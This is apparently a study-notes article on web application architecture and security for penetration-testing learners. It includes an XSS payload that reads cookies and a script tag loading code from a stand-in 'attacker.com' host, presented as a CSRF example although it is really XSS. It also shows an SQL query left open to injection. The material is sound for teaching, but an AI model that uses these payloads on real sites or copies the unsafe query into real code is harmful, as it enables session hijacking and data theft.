Intro

Web applications are interactive applications that run inside web browsers and typically follow a client-server architecture. In this model, the client (browser) is responsible for rendering the interface and interacting with the user, while the server handles application logic, data processing, and persistence. This separation enables scalability, flexibility, and centralized control, but also introduces a wide attack surface that must be properly understood from a security perspective.

From a security engineering point of view, this separation of responsibilities is critical. Any data crossing the boundary between client and server must be considered untrusted by default, regardless of client-side validation. Attackers can fully control browsers, manipulate requests, and bypass front-end restrictions, which is why secure design always assumes a hostile client environment.

Web applications consist of two main components:

  • Front-end: Code executed in the browser, including HTML, CSS, and JavaScript.
  • Back-end: Server-side logic, databases, APIs, and infrastructure.

Understanding how these components interact is fundamental for both secure development and effective penetration testing.

Web Applications vs. Websites

Traditional websites were largely static, meaning their content was fixed and did not change based on user interaction. Any update required manual modification of the source files by developers. Modern web applications, however, are dynamic and interactive.

This evolution has transformed websites into full software platforms. Instead of simply delivering content, web applications now process business logic, manage sessions, and store sensitive data. As a result, vulnerabilities are no longer limited to misconfigurations but often stem from complex logic flaws.

Key differences include:

  • Modular design
  • Dynamic content generation
  • Platform independence
  • Responsive layouts across devices
  • Real-time interaction with users

Web applications behave more like software systems than static documents, which significantly increases their complexity and potential security risks.

Web Applications vs. Native Operating System Applications

Native applications are built for specific operating systems and require local installation. Web applications, by contrast, are platform-independent and accessed via browsers.

This architectural difference impacts security assumptions. Native applications often rely on OS-level permissions and sandboxing, while web applications must enforce security almost entirely at the application and server layers. As a result, mistakes in access control or session handling can have broader consequences.

Advantages of web applications include:

  • No installation required
  • Centralized updates
  • Reduced local resource consumption
  • Cross-platform compatibility

However, this also means users inherently trust remote servers, making secure communication and backend hardening critical.

Web Application Distribution

Organizations often rely on both open-source and proprietary web applications.

From a defensive perspective, distribution models affect visibility and risk management. Open-source applications allow security teams to audit code and track vulnerabilities, while proprietary solutions require trust in the vendor’s security practices and patching cadence.

Open-source examples:

  • WordPress
  • OpenCart
  • Joomla

Proprietary platforms:

  • Wix
  • Shopify
  • DotNetNuke

Open-source software benefits from community review but must be kept updated. Proprietary platforms often abstract infrastructure management but can hide implementation details.

Web Application Security Risks

Web applications are frequent targets due to their exposure. A widely accepted testing methodology is the OWASP Web Security Testing Guide.

Security risks arise from both technical flaws and design decisions. Weak authentication flows, excessive trust in client input, or insecure defaults can all introduce exploitable weaknesses, even if individual components are correctly implemented.

Testing typically begins with front-end analysis:

  • HTML, CSS, JavaScript
  • Sensitive data exposure
  • Cross-Site Scripting (XSS)

Then moves to backend evaluation:

  • Authentication mechanisms
  • API interactions
  • Server and database configurations

Testing both authenticated and unauthenticated scenarios maximizes attack coverage.

Web Application Attacks

Common vulnerabilities can directly lead to code execution, data leakage, or privilege escalation.

In real-world scenarios, attackers rarely rely on a single vulnerability. Instead, they chain multiple low- to medium-severity issues together to progressively increase access and impact.

Examples include:

  • SQL Injection
  • File Inclusion
  • Unrestricted File Uploads
  • IDOR
  • Broken Access Control

These flaws are often chained to escalate attacks, such as extracting Active Directory usernames and performing password spraying against VPNs or email portals.

Componentes Front End

HTML

HTML is the structural backbone of every web page. Browsers interpret HTML elements and render them visually. Headings, forms, images, and links are all defined using HTML tags.

From a security standpoint, HTML determines how and where data is rendered to users. Improper output handling is a common root cause of client-side vulnerabilities, especially when user-controlled data is embedded directly into the page.

HTML Structure

An HTML document contains a root <html> element with <head> and <body> sections. The head contains metadata, while the body defines visible content.

Understanding this structure helps identify where injected content might appear and how browsers will interpret malformed or malicious markup.

URL Encoding

URLs only support ASCII characters. Unsafe characters must be encoded using percent-encoding.

Encoding plays a major role in both attack and defense. Attackers frequently leverage encoding to bypass filters, while defenders must normalize and validate decoded input correctly.

Examples:

  • Space → %20
  • ' → %27
  • " → %22

Understanding encoding is critical for identifying injection vulnerabilities.

Usage and DOM

HTML elements form the Document Object Model (DOM), which JavaScript can manipulate dynamically. DOM access enables powerful functionality but also introduces DOM-based vulnerabilities.

DOM-based issues often bypass server-side protections entirely, making client-side handling a critical part of secure design.

CSS

CSS defines the visual presentation of HTML elements.

While CSS is not typically associated with direct code execution, it can still be abused for UI redressing, information disclosure, and social engineering attacks that trick users into unsafe actions.

Example

body {
  background-color: black;
}

h1 {
  color: white;
  text-align: center;
}

Syntax and Frameworks

CSS rules apply styles using selectors and properties. Frameworks such as Bootstrap and Bulma accelerate development and standardize UI behavior.

However, overreliance on frameworks without understanding underlying behavior can expose hidden elements or states unintentionally.

JavaScript

JavaScript controls interactivity and dynamic behavior.

Because JavaScript executes entirely on the client side, it must never be trusted for enforcing security decisions. Any logic related to authorization or data integrity must be validated server-side.

Example

document.getElementById("button1").innerHTML = "Changed Text!";

Usage

JavaScript handles:

  • DOM manipulation
  • HTTP requests (AJAX)
  • Real-time updates
  • Client-side validation

Frameworks such as React, Angular, and Vue abstract complexity but require careful security design.

Vulnerabilidades Front End

Sensitive Data Exposure

Sensitive data exposure occurs when confidential information is available in front-end source code.

Since client-side code is fully visible to users, any secrets embedded there should be considered compromised from the moment the application is deployed.

Examples include:

  • Hardcoded credentials
  • API keys
  • Internal URLs
  • Debug comments

Example

<!-- TODO: remove test credentials test:test -->

Such mistakes frequently lead to initial access vectors.

HTML Injection

HTML Injection occurs when user input is rendered without sanitization, allowing attackers to inject arbitrary HTML.

Although often underestimated, HTML Injection can be leveraged to perform phishing attacks, UI manipulation, or to prepare the ground for more advanced exploits.

Example Payload

<style> body { background-image: url('https://example.com/image.png'); } </style>

Cross-Site Scripting (XSS)

XSS allows attackers to inject JavaScript into web pages.

This class of vulnerability is particularly dangerous because it enables attackers to execute code in the context of another user’s session.

Types include:

  • Reflected XSS
  • Stored XSS
  • DOM-based XSS

Example

"><img src=/ onerror=alert(document.cookie)>

This payload accesses session cookies and can lead to account hijacking.

Cross-Site Request Forgery (CSRF)

CSRF forces authenticated users to perform unintended actions.

By abusing the browser’s automatic inclusion of session cookies, attackers can execute privileged operations without direct access to credentials.

Example

"><script src=//attacker.com/exploit.js></script>

Prevention

  • Input sanitization
  • Input validation
  • CSRF tokens
  • SameSite cookies
  • Web Application Firewalls

Componentes Back End

Backend Servers

Backend servers host application logic, databases, and services. They operate within the data access layer and must be hardened at the OS and network level.

A compromise at this layer often results in total application takeover, making defense-in-depth essential.

Software Stacks

Common stacks include:

  • LAMP
  • WAMP
  • WINS
  • MAMP
  • XAMPP

Each stack presents different attack surfaces depending on configuration.

Security posture depends heavily on patching, service exposure, and secure defaults.

Web Servers

Web servers process HTTP requests and responses.

Misconfigurations such as directory listing, weak TLS settings, or verbose error messages are common entry points for attackers.

Example

curl -I https://example.com

Common servers:

  • Apache
  • NGINX
  • Microsoft IIS

Each has unique performance characteristics and security considerations.

Databases

Databases store application and user data.

They are high-value targets and must be protected through access controls, encryption, and secure query handling.

Relational Databases

Use structured schemas and SQL queries.

Examples:

  • MySQL
  • PostgreSQL
  • MSSQL
  • Oracle

NoSQL Databases

Schema-less and scalable.

Models include:

  • Key-Value
  • Document
  • Graph

Examples:

  • MongoDB
  • Elasticsearch
  • Cassandra

Example Query (PHP)

$query = "SELECT * FROM users WHERE name LIKE '%$searchInput%'";

Unsafe queries lead directly to SQL Injection vulnerabilities.

Frameworks and APIs

Frameworks accelerate development but introduce abstraction layers.

APIs expose backend functionality and must enforce strict authentication, authorization, and rate limiting.

Backend Vulnerabilities

Common Vulnerabilities

Broken Authentication and Access Control

Allows unauthorized access to accounts or restricted functionality.

These issues often stem from logic errors rather than missing controls.

Malicious File Uploads

Unvalidated uploads may allow remote code execution.

Attackers frequently exploit weak file validation to gain server access.

Command Injection

Occurs when system commands include unsanitized user input.

This can lead to full server compromise if exploited successfully.

SQL Injection

Improperly handled SQL queries allow data extraction or modification.

Despite being well-known, SQL Injection remains widespread.

Public Vulnerabilities

CVE

Public vulnerabilities are cataloged under CVE identifiers and often include proof-of-concept exploits.

Tracking CVEs is essential for maintaining an effective patch management process.

Sources include:

  • Exploit-DB
  • Rapid7
  • Vulnerability Lab

CVSS

CVSS provides standardized severity scoring.

It helps prioritize remediation based on exploitability and impact.

CVSS v2

  • Low: 0.0 – 3.9
  • Medium: 4.0 – 6.9
  • High: 7.0 – 10.0

CVSS v3

  • None: 0.0
  • Low: 0.1 – 3.9
  • Medium: 4.0 – 6.9
  • High: 7.0 – 8.9
  • Critical: 9.0 – 10.0

Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/security-foundations-htb-notes